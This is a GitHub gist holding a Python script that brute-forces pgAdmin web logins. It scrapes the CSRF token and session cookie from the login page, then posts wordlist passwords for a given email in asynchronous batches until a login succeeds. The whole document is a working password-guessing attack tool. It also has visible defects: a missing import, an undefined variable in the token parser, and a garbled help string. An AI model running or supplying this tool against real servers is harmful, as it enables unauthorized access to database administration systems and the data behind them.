Skip to content

Instantly share code, notes, and snippets.

@dorosch
Created March 11, 2024 10:04
Show Gist options
  • Save dorosch/8320a91106d0684d6d2784def2d0cede to your computer and use it in GitHub Desktop.
Save dorosch/8320a91106d0684d6d2784def2d0cede to your computer and use it in GitHub Desktop.
PgAdmin brute-force login with csrf-token
import re
import logging
import argparse
import aiohttp
from bs4 import BeautifulSoup
import asyncio
import string
import itertools
CSRF_REGEX = re.compile(r'"csrfToken": ".*?"')
logging.basicConfig(level=logging.INFO, format='[%(asctime)s] %(message)s')
def grouper(iterable, n, *, incomplete='fill', fillvalue=None):
args = [iter(iterable)] * n
match incomplete:
case 'fill':
return zip_longest(*args, fillvalue=fillvalue)
case 'strict':
return zip(*args, strict=True)
case 'ignore':
return zip(*args)
case _:
raise ValueError('Expected fill, strict, or ignore')
def get_csft_token(text):
script = BeautifulSoup(text, 'html.parser').find_all('script')[-1]
if match := re.search(CSRF_REGEX, str(script)):
return match.group().split('"')[-2]
else:
raise Exception(response.text)
async def make_request(session, url, email, password):
logging.info(f'Trying {password}...')
headers = {
'Cookie': None,
'Content-Type': 'application/x-www-form-urlencoded'
}
data = {
'csrf_token': None,
'email': email,
'password': password,
'language': 'en',
'internal_button': 'Login'
}
async with session.get(url + '/login') as response:
headers['Cookie'] = response.headers['Set-Cookie']
data['csrf_token'] = get_csft_token(await response.text())
async with session.post(url + '/authenticate/login', headers=headers, data=data) as response:
text = await response.text()
if 'Incorrect username or password.' not in text and 'Email/Username is not valid' not in text:
logging.info(f'Password found: "{password}"')
exit()
async def main(args):
for passwords in grouper(args.wordlist, args.batch, incomplete='ignore'):
async with aiohttp.ClientSession() as session:
await asyncio.gather(*[
make_request(session, args.url, args.email, password.strip()) for password in passwords
])
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Brute force pgadmin login')
parser.add_argument('-u', '--url', required=True, help='Target URL (http://pgadmin.sime)')
parser.add_argument('-e', '--email', required=True, help='Email address for login')
parser.add_argument('-w', '--wordlist', required=True, type=argparse.FileType('r'), help='Path to the wordlist file')
parser.add_argument('-b', '--batch', type=int, default=50, help='Срусл passwords in n batches')
args = parser.parse_args()
try:
asyncio.run(main(args))
except KeyboardInterrupt:
exit(1)
@dorosch
Copy link
Author

dorosch commented Mar 11, 2024

$ python3 pgadmin-brute-force.py --help

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment